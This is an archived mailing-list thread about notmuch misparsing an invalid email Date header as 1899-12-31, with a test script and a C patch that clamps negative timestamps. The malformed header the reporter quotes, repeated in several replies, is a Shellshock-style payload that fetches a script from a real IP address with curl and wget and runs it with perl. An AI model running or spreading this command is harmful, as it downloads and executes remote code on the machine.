Quantcast

bug: notmuch cannot handle invalid Date fields

classic Classic list List threaded Threaded
9 messages Options
Johannes Schauer Johannes Schauer
Reply | Threaded
Open this post in threaded view
|  
Report Content as Inappropriate

bug: notmuch cannot handle invalid Date fields

Hi,

I recently received an email with the following date field (the value of all
other headers is the same):

Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;

When doing `notmuch search lwp-download` I get:

thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)

You can see that the date is 1899-12-31 which is wrong.

This is annoying because the python module datetime which is for example used
by the notmuch client alot cannot handle dates before the year 1900 and will
thus never show this email in its thread view but instead display an exception
every time the view is refreshed.

It would be great if an invalid date could either somehow default to a nil
value or be a date that is 1900 or later.

Thanks!

cheers, josch

_______________________________________________
notmuch mailing list
[hidden email]
http://notmuchmail.org/mailman/listinfo/notmuch

signature.asc (836 bytes) Download Attachment
Tomi Ollila-2 Tomi Ollila-2
Reply | Threaded
Open this post in threaded view
|  
Report Content as Inappropriate

Re: bug: notmuch cannot handle invalid Date fields

On Wed, Apr 22 2015, Johannes Schauer <[hidden email]> wrote:

> Hi,
>
> I recently received an email with the following date field (the value of all
> other headers is the same):
>
> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
>
> When doing `notmuch search lwp-download` I get:
>
> thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)
>
> You can see that the date is 1899-12-31 which is wrong.
>
> This is annoying because the python module datetime which is for example used
> by the notmuch client alot cannot handle dates before the year 1900 and will
> thus never show this email in its thread view but instead display an exception
> every time the view is refreshed.

What do you mean by that datetime cannot handle dates before 1900 ?

:  $ python
:  Python 2.7.6 (default, Mar 22 2014, 22:59:56)
:  ...
:  >>> datetime.datetime.strptime('1799-11', '%Y-%m')
:  datetime.datetime(1799, 11, 1, 0, 0)
:  >>> x=datetime.datetime.strptime('1799-11', '%Y-%m')
:  >>> x.isoformat()
:  '1799-11-01T00:00:00'

Tomi


> It would be great if an invalid date could either somehow default to a nil
> value or be a date that is 1900 or later.
>
> Thanks!
>
> cheers, josch
_______________________________________________
notmuch mailing list
[hidden email]
http://notmuchmail.org/mailman/listinfo/notmuch
Johannes Schauer Johannes Schauer
Reply | Threaded
Open this post in threaded view
|  
Report Content as Inappropriate

Re: bug: notmuch cannot handle invalid Date fields

Hi,

Quoting Tomi Ollila (2015-04-22 15:37:15)

> What do you mean by that datetime cannot handle dates before 1900 ?
>
> :  $ python
> :  Python 2.7.6 (default, Mar 22 2014, 22:59:56)
> :  ...
> :  >>> datetime.datetime.strptime('1799-11', '%Y-%m')
> :  datetime.datetime(1799, 11, 1, 0, 0)
> :  >>> x=datetime.datetime.strptime('1799-11', '%Y-%m')
> :  >>> x.isoformat()
> :  '1799-11-01T00:00:00'
from the docs:

"The exact range of years for which strftime() works also varies across
platforms. Regardless of platform, years before 1900 cannot be used."

or:

$ python
Python 2.7.9 (default, Dec 11 2014, 08:58:12)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import datetime
>>> x=datetime.datetime.strptime('1799-11', '%Y-%m')
>>> x.strftime("%P")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: year=1799 is before 1900; the datetime strftime() methods require year >= 1900


cheers, josch

_______________________________________________
notmuch mailing list
[hidden email]
http://notmuchmail.org/mailman/listinfo/notmuch

signature.asc (836 bytes) Download Attachment
David Bremner-2 David Bremner-2
Reply | Threaded
Open this post in threaded view
|  
Report Content as Inappropriate

Re: bug: notmuch cannot handle invalid Date fields

In reply to this post by Johannes Schauer
Johannes Schauer <[hidden email]> writes:

> Hi,
>
> I recently received an email with the following date field (the value of all
> other headers is the same):
>
> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
>
> When doing `notmuch search lwp-download` I get:
>
> thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)
>
> You can see that the date is 1899-12-31 which is wrong.
>
> This is annoying because the python module datetime which is for example used
> by the notmuch client alot cannot handle dates before the year 1900 and will
> thus never show this email in its thread view but instead display an exception
> every time the view is refreshed.
>
> It would be great if an invalid date could either somehow default to a nil
> value or be a date that is 1900 or later.
>

I believe the underlying problem is a bug in the gmime library. I've
reported it it at

         https://bugzilla.gnome.org/show_bug.cgi?id=779923

We'll see if upstream agrees.  If my understanding of the situation is
correct, it should be easy enough to clamp the return value from gmime
so that only non-negative time values are saved into the notmuch database.

d
_______________________________________________
notmuch mailing list
[hidden email]
https://notmuchmail.org/mailman/listinfo/notmuch
David Bremner-2 David Bremner-2
Reply | Threaded
Open this post in threaded view
|  
Report Content as Inappropriate

[PATCH 1/2] lib: add known broken test for parsing bad dates.

In reply to this post by Johannes Schauer
This reproduces the symptoms of bug report
id:20150422065630.6330.90536@hoothoot
---
 test/T660-bad-date.sh | 15 +++++++++++++++
 1 file changed, 15 insertions(+)
 create mode 100755 test/T660-bad-date.sh

diff --git a/test/T660-bad-date.sh b/test/T660-bad-date.sh
new file mode 100755
index 00000000..6463d5b8
--- /dev/null
+++ b/test/T660-bad-date.sh
@@ -0,0 +1,15 @@
+#!/usr/bin/env bash
+test_description="parsing of bad dates"
+. ./test-lib.sh || exit 1
+
+add_message [date]='"()"'
+
+test_begin_subtest 'Bad dates translate to a date after the Unix epoch'
+test_subtest_known_broken
+cat <<EOF >EXPECTED
+thread:0000000000000001   1970-01-01 [1/1] Notmuch Test Suite; Test message #1 (inbox unread)
+EOF
+notmuch search '*' > OUTPUT
+test_expect_equal_file EXPECTED OUTPUT
+
+test_done
--
2.11.0

_______________________________________________
notmuch mailing list
[hidden email]
https://notmuchmail.org/mailman/listinfo/notmuch
David Bremner-2 David Bremner-2
Reply | Threaded
Open this post in threaded view
|  
Report Content as Inappropriate

[PATCH 2/2] lib: clamp return value of g_mime_utils_header_decode_date to >=0

For reasons not completely understood at this time, gmime (as of
2.6.22) is returning a date before 1900 on bad date input. Since this
confuses some other software, we clamp such dates to 0,
i.e. 1970-01-01.
---
 lib/message.cc | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/lib/message.cc b/lib/message.cc
index 007f1171..8a8a25b4 100644
--- a/lib/message.cc
+++ b/lib/message.cc
@@ -1034,10 +1034,15 @@ _notmuch_message_set_header_values (notmuch_message_t *message,
 
     /* GMime really doesn't want to see a NULL date, so protect its
      * sensibilities. */
-    if (date == NULL || *date == '\0')
+    if (date == NULL || *date == '\0') {
  time_value = 0;
-    else
+    } else {
  time_value = g_mime_utils_header_decode_date (date, NULL);
+ /*
+ * Workaround for https://bugzilla.gnome.org/show_bug.cgi?id=779923
+ */
+ time_value = (time_value < 0) ? 0 : time_value;
+    }
 
     message->doc.add_value (NOTMUCH_VALUE_TIMESTAMP,
     Xapian::sortable_serialise (time_value));
--
2.11.0

_______________________________________________
notmuch mailing list
[hidden email]
https://notmuchmail.org/mailman/listinfo/notmuch
Tomi Ollila-2 Tomi Ollila-2
Reply | Threaded
Open this post in threaded view
|  
Report Content as Inappropriate

Re: [PATCH 2/2] lib: clamp return value of g_mime_utils_header_decode_date to >=0

On Sun, Mar 12 2017, David Bremner <[hidden email]> wrote:

> For reasons not completely understood at this time, gmime (as of
> 2.6.22) is returning a date before 1900 on bad date input. Since this
> confuses some other software, we clamp such dates to 0,
> i.e. 1970-01-01.
> ---
>  lib/message.cc | 9 +++++++--
>  1 file changed, 7 insertions(+), 2 deletions(-)
>
> diff --git a/lib/message.cc b/lib/message.cc
> index 007f1171..8a8a25b4 100644
> --- a/lib/message.cc
> +++ b/lib/message.cc
> @@ -1034,10 +1034,15 @@ _notmuch_message_set_header_values (notmuch_message_t *message,
>  
>      /* GMime really doesn't want to see a NULL date, so protect its
>       * sensibilities. */
> -    if (date == NULL || *date == '\0')
> +    if (date == NULL || *date == '\0') {
>   time_value = 0;

"Too bad" we already do this time_value = 0, otherwise I'd suggested
-2111111111

$ perl -le 'print scalar localtime -2111111111'
Sat Feb  7 21:54:38 1903

That is something where Julian calendar is also in 20th century ;)

> -    else
> +    } else {
>   time_value = g_mime_utils_header_decode_date (date, NULL);
> + /*
> + * Workaround for https://bugzilla.gnome.org/show_bug.cgi?id=779923
> + */
> + time_value = (time_value < 0) ? 0 : time_value;

Although the above probably realizes as..., I'd propose (IMO for clarity)

        if (time_value < 0)
            time_value = 0;

Anyway, LGTM.

Tomi


Btw: I Added notmuch show --format=json '*' >&6 to the test script, and it
printed:

[[[{"id": "msg-001@notmuch-test-suite", "match": true, "excluded": false,
"filename": ["/home/too/vc/ext/notmuch/test/tmp.T111-x/mail/msg-001"],
"timestamp": 2085892096, "date_relative": "1899-12-31", "tags": ["inbox",
"unread"], "headers": {"Subject": "Test message #1", "From": "Notmuch Test
Suite <[hidden email]>", "To": "Notmuch Test Suite
<[hidden email]>", "Date": "Sun, 31 Dec 1899 00:00:00 +0000"},
"body": [{"id": 1, "content-type": "text/plain", "content": "This is just a
test message (#1)\n"}]}, []]]]

(... which one can see I just pasted to a new file... ;)


$ perl -le 'print scalar localtime 2085892096'
Wed Feb  6 08:28:16 2036

So, it looks like we store the large negative time_value to a 32-bit signed
integer...



> +    }
>  
>      message->doc.add_value (NOTMUCH_VALUE_TIMESTAMP,
>      Xapian::sortable_serialise (time_value));
> --
> 2.11.0
>
> _______________________________________________
> notmuch mailing list
> [hidden email]
> https://notmuchmail.org/mailman/listinfo/notmuch
_______________________________________________
notmuch mailing list
[hidden email]
https://notmuchmail.org/mailman/listinfo/notmuch
David Bremner-2 David Bremner-2
Reply | Threaded
Open this post in threaded view
|  
Report Content as Inappropriate

Re: [PATCH 2/2] lib: clamp return value of g_mime_utils_header_decode_date to >=0

In reply to this post by David Bremner-2
David Bremner <[hidden email]> writes:

> For reasons not completely understood at this time, gmime (as of
> 2.6.22) is returning a date before 1900 on bad date input. Since this
> confuses some other software, we clamp such dates to 0,
> i.e. 1970-01-01.

series pushed, amended per Tomi's suggestion. It's possible I've been
writing an unhealthy amount of scheme lately. Dunno what else would make
the ternary if operator look sensible.

d
_______________________________________________
notmuch mailing list
[hidden email]
https://notmuchmail.org/mailman/listinfo/notmuch
David Bremner-2 David Bremner-2
Reply | Threaded
Open this post in threaded view
|  
Report Content as Inappropriate

Re: bug: notmuch cannot handle invalid Date fields

In reply to this post by Johannes Schauer
Johannes Schauer <[hidden email]> writes:

> Hi,
>
> I recently received an email with the following date field (the value of all
> other headers is the same):
>
> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
>
> When doing `notmuch search lwp-download` I get:
>
> thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)
>
> You can see that the date is 1899-12-31 which is wrong.

This should now be fixed, as of 62822a4e2

d
_______________________________________________
notmuch mailing list
[hidden email]
https://notmuchmail.org/mailman/listinfo/notmuch
Loading...